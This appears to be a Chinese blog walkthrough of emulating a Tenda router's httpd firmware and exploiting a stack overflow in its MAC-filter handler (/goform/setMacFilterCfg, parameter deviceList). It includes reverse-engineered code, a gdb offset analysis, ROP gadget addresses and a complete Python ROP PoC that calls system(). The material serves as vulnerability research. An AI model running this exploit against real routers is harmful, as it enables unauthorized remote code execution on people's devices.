    • memset(v17, 0, sizeof(v17)) 用于清空 v17 数组

    • tpi_lan_dhcpc_get_ipinfo_and_status(v17) 调用一个函数,尝试从 DHCP 客户端获取 IP 信息和状态,并将结果存储在 v17

    • v17[0] 用于检查获取到的 IP 信息是否有效,如果有效且非空,则执行下一步

    • vos_strcpy(g_lan_ip, v17) 将从 DHCP 获取到的 IP 地址复制到全局变量 g_lan_ip

  3. else
    {
      vos_strcpy(g_lan_ip, v20);
    }
    • 如果 getIfIp 返回值不小于 0,则表示成功从接口获取到了 IP 地址。

    • vos_strcpy(g_lan_ip, v20) 将从接口获取到的 IP 地址复制到全局变量 g_lan_ip 中。

确保设备在局域网中的 IP 地址能够被正确地获取并存储在全局变量中,以便后续的网络操作和通信

4.函数sub_2E9EC调用
int sub_2E9EC()
{
  int v0; // r0
  size_t v1; // r3
  size_t v2; // r3
  int v4; // r0
  char s[128]; // 用于存储字符串的缓冲区
  char dest[128]; // 用于存储字符串的缓冲区
  char v8[128]; // 用于存储字符串的缓冲区
  struct in_addr inp; // 存储 IP 地址的结构体
  char *v10; // 字符串指针
​
  // 初始化变量
  v10 = 0;
  memset(s, 0, sizeof(s));
​
  // 执行系统命令,关闭 TCP 时间戳
  v0 = doSystemCmd("echo 0 > /proc/sys/net/ipv4/tcp_timestamps");
  sub_1B6D4(v0);
​
  // 将局域网 IP 地址转换为 in_addr 结构体
  inet_aton(g_lan_ip, &inp);
​
  // 复制字符串到缓冲区 dest,可能是某种配置信息
  strcpy(dest, off_100048);
  sub_12530(dest);
​
  // 将 IP 地址转换为字符串
  v10 = inet_ntoa(inp);
​
  // 计算字符串长度,并根据长度设置 v1
  if (strlen(v10) + 1 > 0x7F)
    v1 = 128;
  else
    v1 = strlen(v10) + 1;
​
  // 将字符串复制到缓冲区 s 中
  sub_1964C(s, v10, v1);
  sub_2D218(s); // 可能是对字符串 s 进行处理
​
  // 计算字符串长度,并根据长度设置 v2
  if (strlen(v8) + 1 > 0x7F)
    v2 = 128;
  else
    v2 = strlen(v8) + 1;
​
  // 将字符串复制到缓冲区 s 中
  sub_1964C(s, v8, v2);
  sub_2D17C(s); // 可能是对字符串 s 进行处理
​
  // 加载 HTML 页面和其他资源
  sub_124C8("main.html");
  sub_1F560(off_10004C);
​
  // 尝试打开服务器,并注册处理函数
  if (sub_29510(port, retries) >= 0)
  {
    sub_179A8(&unk_DC618, 0, 0, R7WebsSecurityHandler, 1);
    sub_179A8("/goform", 0, 0, websFormHandler, 0);
    sub_179A8("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
    v4 = sub_179A8(&unk_DC618, 0, 0, websDefaultHandler, 2);
    sub_42378(v4);
    sub_179A8("/", 0, 0, sub_2ECD0, 0);
    return 0;
  }
  else
  {
    // 打印错误信息并返回
    printf("%s %d: websOpenServer failed\n", "initWebs", 499);
    return -1;
  }
}

在调用 inet_aton 函数时,将全局变量 g_lan_ip 的值作为参数传递给了该函数的第一个参数,即将设备在局域网中的 IP 地址转换为了一个 struct in_addr 结构体中的值 inp

inet_aton(g_lan_ip, &inp);

交叉引用这个函数,发现在主函数初始化等这个g_lan_ip参数,再调用这个函数进行处理g_lan_ip

image-20240529194504945

image-20240529194818633

5.关于ip处理的函数的调用链
sub_2E420(main函数)-> sub_2E9EC(initWebs函数) -> sub_29510 -> sub_29818 -> sub_1B84C
4.根据ip的赋值调用回溯到生成逻辑
1.printf这里的ip,指针指向v8

image-20240529195729469

2.v8指针指向s.sa_data

image-20240529200003630

3.s.sa_data关联a1

image-20240529195933848

来仔细看一下这个地方的inet_addr(a1)的调用

将提供的IP地址字符串(如果有的话)转换为二进制形式,并存储在 sockaddr 结构体的 sa_data 字段中

如果没有提供IP地址字符串,则将 sa_data 的对应部分设置为0

if ( a1 )
    *(_DWORD *)&s.sa_data[2] = inet_addr(a1);
  else
    *(_DWORD *)&s.sa_data[2] = 0;
  1. if (a1): 检查 a1 是否为非空指针

    如果 a1 非空,说明它指向一个有效的字符串

  2. *(_DWORD *)&s.sa_data[2] = inet_addr(a1);:如果 a1 非空,使用 inet_addr 函数将 a1 指向的字符串转换为网络字节序的二进制IP地址,并将该值存储到 s.sa_data[2]

    具体来说,(_DWORD *)&s.sa_data[2] 是将 sa_data 中从偏移量 2 开始的4个字节解释为一个32位的无符号整数(DWORD),并将转换后的IP地址存储到该位置

  3. else: 如果 a1 是空指针

    说明没有提供有效的IP地址字符串

  4. *(_DWORD *)&s.sa_data[2] = 0;:在这种情况下,将 s.sa_data[2] 的值设置为0

    也就是说,将 s.sa_data 的从偏移量 2 开始的4个字节都设置为0

    这表示使用默认的IP地址(通常为 INADDR_ANY,表示绑定到所有可用接口)

4.根据刚刚的调用链,交叉引用函数,查看a1在被作为参数传入这个函数的地方

可以看到这里的v8对应前面函数传入的a1

v8就是 g_lan_ip

image-20240529201226181

7. g_lan_ip根据调用链交叉引用到main函数

这里的v17赋值给 g_lan_ip

image-20240529210052623

这里的函数综合处理了s和v17

推测应该是getIfIp处理的ip生成

image-20240529210302845

8.查看getIfIp回调函数

image-20240529210433418

9.分析getIfIp

1.在libc库检索getIfIp

使用readelf查找httpd所有的链接库
readelf -d ./bin/httpd | grep NEEDED

image-20240529211515335

在libcommon.so找到这个回调函数
nm -D ./lib/libcommon.so

找到这里的链接库

image-20240529211313816

2.将libcommon.so提取出来查看源码

1.找到文件

路径在截图的上方

image-20240529211939389

2.ida分析

image-20240529212218520

这里可以看见传入的两个参数分别是g_lan_ip和v17

int __fastcall getIfIp(const char *a1, char *a2) {
  char *v3; // 临时变量,用于存储转换后的IP地址
  char dest[20]; // 存储网络接口名的缓冲区
  struct in_addr v8; // 存储IP地址的in_addr结构
  int fd; // 存储创建的套接字描述符
​
  // 创建一个类型为SOCK_DGRAM的IPv4套接字
  fd = socket(2, 2, 0);
  // 如果创建套接字失败,返回失败值-1
  if ( fd < 0 ) {
    return -1;
  }
​
  // 将网络接口名安全复制到局部变量dest中
  strncpy(dest, a1, 0x10u);
  
  // 使用ioctl请求SIOCGIFADDR操作,获取网络接口的IP地址
  // 如果请求失败,关闭套接字并返回失败值-1
  if ( ioctl(fd, 0x8915u, dest) < 0 ) {
    close(fd);
    return -1;
  }
  
  // 将网络接口的IP地址转换为点分十进制字符串格式
  v3 = inet_ntoa(v8);
  
  // 将点分十进制的IP地址复制到a2指向的缓冲区
  strcpy(a2, v3);
  
  // 关闭创建的套接字
  close(fd);
​
  // 函数执行成功,返回值0
  return 0;
}

可以发现这里的关键是申请ip的函数ioctl

image-20240529212813603

3.解析ioctl

1.简述

ioctl 用于与设备驱动程序进行交互,可以用来获取或设置接口的各种参数

0x8915u 是一个具体的命令,用于获取接口的 IP 地址

2.代码解释
if (ioctl(fd, 0x8915u, dest) >= 0)
  • fd 是通过 socket 函数创建的套接字描述符

  • 0x8915u 是一个ioctl 命令,对应于 SIOCGIFADDR 命令,表示获取网络接口的 IP 地址

  • dest 是指向 ifreq 结构的指针,该结构包含接口名称,并将存储返回的接口地址

3.ioctl 函数原型
int ioctl(int fd, unsigned long request, ...);
  • fd: 文件描述符,一般由 socket 函数返回

  • request: 请求码,表示具体的操作

  • ...: 可选参数,取决于请求码的具体含义

4.解析SIOCGIFADDR 命令

1.简述

SIOCGIFADDR 是一个 ioctl 命令,用于获取指定网络接口的 IP 地址

定义在 <sys/ioctl.h> 中,通常表示为 0x8915u

2.详细解析
1.ifreq 结构

ifreq 结构定义在 <net/if.h> 中,用于传递网络接口相关信息:

struct ifreq {
    char ifr_name[IFNAMSIZ]; /* Interface name */
    union {
        struct sockaddr ifr_addr;
        struct sockaddr ifr_dstaddr;
        struct sockaddr ifr_broadaddr;
        struct sockaddr ifr_netmask;
        short           ifr_flags;
        int             ifr_ivalue;
        int             ifr_mtu;
        struct ifmap    ifr_map;
        char            ifr_slave[IFNAMSIZ];
        char            ifr_newname[IFNAMSIZ];
        void *          ifr_data;
    };
};

ifr_name 用于指定网络接口名称,ifr_addr 用于存储获取到的 IP 地址

5.前面两个参数已经确定具体含义,分析第三个参数

image-20240529215408628

调用getLanIfName函数

image-20240529215428918

6.在ida中分析这个getLanIfName

image-20240529215720797

进入查看

image-20240529220658022

7.get_eth_name在libChipApi.so中,ida分析

image-20240529220947224

const char *__fastcall get_eth_name(int a1)
{
  const char *v1; // r3
​
  switch ( a1 )
  {
    case 0:
      v1 = "br0";
      break;
    case 1:
      v1 = "br1";
      break;
    case 6:
      v1 = "vlan1";
      break;
    case 10:
      v1 = "vlan2";
      break;
    case 11:
      v1 = "vlan3";
      break;
    case 12:
      v1 = "vlan4";
      break;
    case 13:
      v1 = "vlan5";
      break;
    case 23:
      v1 = "eth1";
      break;
    case 24:
      v1 = "wl0.1";
      break;
    case 27:
      v1 = "eth2";
      break;
    case 28:
      v1 = "wl1.1";
      break;
    case 51:
      v1 = "br10";
      break;
    case 55:
      v1 = "br20";
      break;
    default:
      v1 = (const char *)&unk_66C8;
      break;
  }
  return v1;
}

这里看到传入的参数是0

image-20240529221223834

对应的 v1 = "br0";,所以这里要设置的第三个参数为网卡的名称为br0

10.结论

设置一个第三个参数为网卡的名称为br0

操作:

sudo brctl addbr br0
sudo ifconfig br0 .17.0.222

在ubuntu的浏览器上直接访问ip就可以发现,可以成功连接上路由了

image-20240530142221925

7.缓冲区漏洞ida分析

根据官方文档在httpd文件内的sub_C24C0函数存在栈溢出漏洞

image-20240530145956444

// 定义函数,接收两个参数,a1 和 a2
int __fastcall sub_C24C0(const char *a1, char *a2)
{
  // 定义两个数组并初始化
  int v6[4]; // [sp+10h] [bp-34h] BYREF
  int s2[4]; // [sp+20h] [bp-24h] BYREF
  // 定义两个字符变量
  char v8; // [sp+32h] [bp-12h]
  char v9; // [sp+33h] [bp-11h]
  // 定义一个指向字符的指针变量
  char *src; // [sp+34h] [bp-10h]
​
  // 在 a1 中查找字符 13(CR),如果找到,将其位置的地址赋值给 src
  src = strchr(a1, 13);
  // 如果 src 不为空(即 a1 中存在字符 13)
  if ( src )
  {
    *src++ = 0;  // 将 src 指向的字符赋值为 0,并将 src 的地址向后移动一位
    // 为 v6 数组的每个元素赋值为 0
    memset(v6, 0, sizeof(v6));
    // 如果能获取到 "cgi_debug" 的值,并且这个值等于 "on"
    if ( GetValue("cgi_debug", v6) && !strcmp("on", (const char *)v6) )
    {
      v9 = 1;  // 将 v9 赋值为 1
      // 打印一些调试信息
      printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "parse_macfilter_rule", 807, off_1018C0[0]);
      printf("parase rule: name == %s, mac == %s\n\x1B[0m", a1, src);
    }
    // 将 a1 的值复制到 a2+32 的位置
    strcpy(a2 + 32, a1);
    // 将 src 的值复制到 a2 的位置
    strcpy(a2, src);
    return 0; // 返回 0
  }
  // 如果 src 为空(即 a1 中不存在字符 13)
  else
  {
    // 为 s2 数组的每个元素赋值为 0
    memset(s2, 0, sizeof(s2));
    // 如果能获取到 "cgi_debug" 的值,并且这个值等于 "on"
    if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) )
    {
      v8 = 2;  // 将 v8 赋值为 2
      // 打印一些调试信息
      printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "parse_macfilter_rule", 803, off_1018C4[0]);
      printf("source_rule error: %s!\n\x1B[0m", a1);
    }
    return 2;  // 返回 2
  }
}

image-20240530151433159

1.栈溢出利用的地方

这个地方strcpy不会检查字符串的大小,a1直接没有判断长度拷贝到了a2+32,从而可以实现栈溢出,更改函数的流程

2.a2的大小交叉引用到上级函数查看

image-20240530152923860

交叉引用sub_C24C0,得到a2的大小

可以看到a2的大小是176个字节

image-20240530153004991

3.分析a2的调用链

1.sub_C24C0

image-20240530165648650

2.sub_C17A0

image-20240530165744479

3.sub_C14DC

image-20240530165820633

4.formSetMacFilterCfg

image-20240530165903173

5.sub_42378

image-20240530170038932

这个函数相当于是在给每个网络相关的处理函数分配名字

6.sub_2E9EC

image-20240530170443460

7.main函数

image-20240530170554465

8.得到调用调用链子

sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数)

4.根据函数调用链子分析a2的数据来源

1.sub_C24C0

image-20240530171109992

2.sub_C17A0

image-20240530171202347

5.根据函数调用链子分析src字符串的数据来源

1.sub_C24C0

image-20240530173430316

2.sub_C17A0

image-20240530172439895

3.sub_C14DC

image-20240530172530532

5.formSetMacFilterCfg

image-20240530172600686

6.最后的调用就formSetMacFilterCfg

HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点

这里详细解释一下:

  1. 在HTTP请求中,deviceList通常被用来指定一个设备列表(包含有关设备的详细信息,例如设备ID,设备名称,设备类型等等)

  2. 作为一个请求参数,deviceList可以作为要查询的设备清单,使服务器只返回这些设备的状态

  3. 例如:HTTP

    • GET请求:http://example.com/api/devices?deviceList=device1,device2,device3 就会向服务器查询device1, device2, device3这三个设备的状态。

    • 一个POST请求:http://example.com/api/devices/setState ,其中的请求体是 { "deviceList": ["device1", "device2"], "state": "on" } 就会将 device1 和 device2 这两个设备的状态设置为 "on"

7.注释:进入formSetMacfiltercfg函数需要访问goform/setMacFilterCfg

这个地方很关键的一个理解

这两个函数共同解释注册表,这个地方就是goform/setMacFilterCfg地址的调用流程

image-20240531213941541

image-20240531213802977

6.调试成功调用路径的判定条件

1.formSetMacfiltercfg→sub_C14DC

1.判定条件为v19必须为0,才能调用formSetMacfiltercfg

image-20240531171820099

2.v19的值根据sub_C10D0得到

image-20240531172105846

2.判定sub_C10D0返回0逻辑

image-20240531173530914

a1的参数是black或者white就会将相应的值设置为macfilter.mode,并且让a1返回0

2.sub_C14DC→sub_C17A0

当a2指针指向的字符串不为0时,将循环调用sub_C17A0

image-20240531194644768

这个地方的a2就是前面函数的v17(已经判断过他的生成逻辑,肯定不为空)

image-20240531194859864

3.sub_C17A0→sub_C24C0

没有判定条件,直接执行

image-20240531195122248

8.抓包分析报文poc格式

抓个damn

image-20240531215938316

结合前面的对于httpd的调用链的拼接和抓包的格式和字符串的溢出长度

import requests
​
url = "http://172.17.0.222/goform/setMacFilterCfg"//这是前面逆向分析路由器的注册表检索的路径
cookie = {"Cookie": "password=12345"}//抓包发现的密码发包格式(密码可以自己定义)
data = {"macFilterType": "white", "deviceList": "\r" + "A" * 500}//前面逆向分析需要的字符拼接绕过
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)//这里根据前辈的经验要发包两次才能成功,不知道为什么
print(response.text)

9.gdb调试偏移

1.checksec检查保护

image-20240602161144352

可以看见这里开启了NX保护,但是其他保护都没有打开,所以很好泄露

2.发送poc,进入调试

1.先设置网卡br0,运行httpd文件

sudo brctl addbr br0
sudo ifconfig br0 172.17.0.222

image-20240602182656206

2.火狐连接检查是否连接成功

image-20240602182727548

连接成功

3.gdb设置连接

1.运行,开放连接端口
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

image-20240602182914719

2.gdb设置1234端口连接调试,不设置断点,continue等待poc传输
gdb-multiarch
set architecture arm
target remote :1234

image-20240602183022212

3.发送poc,gdb窗口等待回显

1.另开一个端口运行poc

image-20240602183116079

2.gdb查看回显

可以发现这个地方已经将连续的A字符串压入栈中,实现溢出,覆盖了pc寄存器和返回地址的数据

image-20240602183524429

3.栈溢出利用

1.利用思路

  1. 向R0写入system

  2. 计算libc.so基地址

  3. 计算system函数在libc中的偏移

2.计算libc基地址(采用使用puts函数泄露libc地址)

这里很悲伤的是qemu-user模拟不支持vmmap指令打印内存信息

qemu是默认关闭ASLR的,每次调试地址是一样的

我们把断点下再这个地方的main函数puts的调用

image-20240603134246281

b *0x0002E4FC

image-20240603134456298

这个地方就是puts函数

IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 - 0x35cd4 = 0xff58c000

2.计算system的偏移

readelf -s ./lib/libc.so.0 |grep system

image-20240603141919355

3.寻找可靠的R0的gadget

ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"

找到一个能用的就行

0x00040cb8 : mov r0, sp ; blx r3

image-20240603142841025

4.跳转到R3的gadget

ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3

找一个简单点的pop链

0x00018298 : pop {r3, pc}

image-20240603143033860

4.payload的链子思路

1.溢出处函数返回跳转到第一个gadget (pop {r3, pc})

引发一个缓冲区溢出,控制溢出处函数的返回地址

将这个地址更改为第一个gadget(pop {r3, pc})的地址(当函数返回时,它就会跳转到这个gadget开始执行)

2.栈顶第一个元素(system_addr)弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3)弹出到PC使程序流执行到gadget2

pop {r3, pc}进行的操作:

它会从栈顶取出一个值放入 r3寄存器,然后再取栈顶的下一个值放入 pc寄存器

在栈顶放上 system_addr和第二个gadget的地址

执行这个gadget后,system_addr就被放入 r3寄存器,第二个gadget的地址放入 pc寄存器(程序就会跳转到第二个gadget开始执行)

3.此时的栈顶内容(cmd)放入R0, 并使程序跳转到R3寄存器指向的地址去执行

执行第二个gadget(mov r0, sp ; blx r3)时,会从当前的栈顶(也就是 cmd的位置)取出一个值放入 r0寄存器

然后跳转到 r3寄存器中的地址(也就是 system函数)去执行

10.完整的POC

from pwn import *
import requests
​
abs = b"echo you are hacking by giraffe!"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
​
payload = b'a'*176
​
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)+ abs
​
url = "http://172.17.0.222/goform/setMacFilterCfg"
​
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

image-20240603170349628

  • 11
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值